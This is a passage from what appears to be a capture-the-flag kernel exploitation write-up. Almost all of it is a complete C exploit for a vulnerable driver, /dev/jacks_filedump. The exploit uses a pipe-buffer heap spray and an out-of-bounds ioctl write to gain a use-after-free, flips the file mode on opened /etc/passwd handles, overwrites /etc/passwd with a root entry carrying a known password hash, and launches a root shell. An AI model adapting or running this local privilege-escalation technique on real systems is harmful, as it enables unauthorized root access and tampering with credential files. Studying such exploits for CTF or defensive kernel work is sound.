Our write primitive should set the value to 0x084a80d | FMODE_WRITE | FMODE_CAN_WRITE
, which is 0x84e801f
.
To see if this succeeds, we simply try to write to every single file that we’ve
opened, and if write()
doesn’t return -1, we would have successfully
written to the file. If so, /etc/passwd
will already be overwritten, and we
can exit the program and login as root!
Full exploit:
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <assert.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <time.h>
#include <unistd.h>
#include <sched.h>
#include <sys/resource.h>
int fd = 0;
void pprintf(char *str, ...) {
printf("[*] ");
va_list args;
va_start(args, str);
vprintf(str, args);
printf("\n");
}
void pprintfc(char *str, ...) {
printf("\33[2K\r[*] ");
va_list args;
va_start(args, str);
vprintf(str, args);
}
void ppause(char *str, ...) {
printf("[-] ");
va_list args;
va_start(args, str);
vprintf(str, args);
printf("\n");
getchar();
}
void open_dev() {
fd = open("/dev/jacks_filedump", O_RDWR);
}
void get_shell() {
system("/bin/sh");
}
#define CREATE_SECRET_MESSAGE 0xc010ca00
#define WRITE_SECRET_MESSAGE 0xc010ca01
struct req {
uint64_t size;
uint64_t message;
};
int do_create_secret_message(size_t size) {
struct req user_req;
user_req.size = size;
return ioctl(fd, CREATE_SECRET_MESSAGE, &user_req);
}
#define NUM_SPRAY_FILE 0x400
#define pipe_buf_spray 0x40
int pipe_buf_fds[pipe_buf_spray][2];
size_t buf[24];
void do_pipe_buf_spray() {
// size of file is 0xc0, we write until the next file
buf[1] = 0xcafebabe;
buf[2] = 0xdeadbeef;
buf[3] = 0xdeadbabe;
buf[4] = 0xcafebeef;
buf[5] = 0xcafebabe;
buf[6] = 0xdeadbeef;
buf[7] = 0xdeadbabe;
buf[8] = 0xcafebeef;
buf[9] = 0xcafebeef;
buf[10] = 0xcafebeef;
buf[11] = 0xcafebeef;
buf[12] = 0xcafebeef;
buf[13] = 0xcafebeef;
buf[14] = 0xcafebeef;
buf[15] = 0xcafebeef;
buf[16] = 0xcafebeef;
buf[17] = 0xcafebeef;
buf[18] = 0xcafebeef;
buf[19] = 0xcafebeef;
buf[20] = 0xcafebeef;
buf[21] = 0xcafebeef;
buf[22] = 0xcafebeef;
buf[23] = 0xcafebeef;
for (int i = 0; i < pipe_buf_spray / 2; i++) {
buf[0] = i;
assert(pipe(pipe_buf_fds[i]) != -1);
// need to write 0x90 more to victim only
assert(write(pipe_buf_fds[i][1], &buf[0], 0x8) != -1);
assert(write(pipe_buf_fds[i][1], &buf[1], 0x28) != -1);
}
do_create_secret_message(0x400 / 2);
for (int i = pipe_buf_spray / 2; i < pipe_buf_spray; i++) {
buf[0] = i;
assert(pipe(pipe_buf_fds[i]) != -1);
// need to write 0x90 more to victim only
assert(write(pipe_buf_fds[i][1], &buf[0], 0x8) != -1);
assert(write(pipe_buf_fds[i][1], &buf[1], 0x28) != -1);
}
}
int do_oob() {
struct req user_req;
uint16_t payload[0x200] = { 1 };
memset(payload, 0x1, 0x200*2);
user_req.size = 0x200;
user_req.message = *payload;
assert(ioctl(fd, WRITE_SECRET_MESSAGE, &user_req) != -1);
}
void find_victim_pipe_buf(size_t* idx1, size_t* idx2) {
for (int i = 0; i < pipe_buf_spray; i++) {
if (i == 3 * pipe_buf_spray / 4) continue;
size_t buf[2];
assert(read(pipe_buf_fds[i][0], buf, 0x10) != -1);
if (buf[0] != i) {
pprintf("found mismatch %p at idx %p", buf[0], i);
assert(0 <= buf[0] && buf[0] < pipe_buf_spray);
*idx1 = buf[0];
*idx2 = i;
break;
}
}
assert(*idx1 != *idx2);
}
void free_pipe_buf(size_t original) {
assert(close(pipe_buf_fds[original][0]) != -1);
assert(close(pipe_buf_fds[original][1]) != -1);
}
cpu_set_t cpu_set;
int main() {
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
open_dev();
pprintf("opened device on fd %d, starting exploit", fd);
// pre-spray some files to fill up filp cache
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
open("/etc/passwd", O_RDONLY);
}
// spray pipe bufs and insert attacker object somewhere in middle
do_pipe_buf_spray();
pprintf("do_pipe_buf_spray()");
do_oob();
pprintf("do_oob()");
// at this point we should have overwritten one of the pages
// lets find the victim pipe_buf
size_t original = 0;
size_t victim = 0;
find_victim_pipe_buf(&original, &victim);
pprintf("find_victim_pipe_buf()");
free_pipe_buf(original);
pprintf("free_victim_pipe_bufs()");
// now we have page-level uaf via victim
// fill to the next file object
write(pipe_buf_fds[victim][1], &buf[5], 0x90);
// spray a few more files, no need for a lot since we already drained the filp beforehand
size_t final_file_spray = 0x200;
int filefds[final_file_spray];
for (int i = 0; i < final_file_spray; i++) {
filefds[i]= open("/etc/passwd", O_RDONLY);
assert(filefds[i] != -1);
}
pprintf("sprayed struct file of /etc/passwd");
uint32_t tmp[0x10];
tmp[0] = 0x1;
tmp[1] = 0x0;
tmp[2] = 0x0;
tmp[3] = 0x080e801f;
pprintf("%d", write(pipe_buf_fds[victim][1], tmp, 0x10));
pprintf("%s", strerror(errno));
pprintf("edit pwd file->f_mode");
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/bash\n";
for (int i = 0; i < final_file_spray; i++) {
if (write(filefds[i], payload, sizeof(payload)) > 0) {
pprintf("write success at fptr %d! password is cafebabe", i);
for (int i = 0; i < final_file_spray; i++) {
close(filefds[i]);
}
// might fail because too many files open
system("su -c '/bin/bash'");
exit(0);
break;
}
}
pprintf("failed");
exit(-1);
}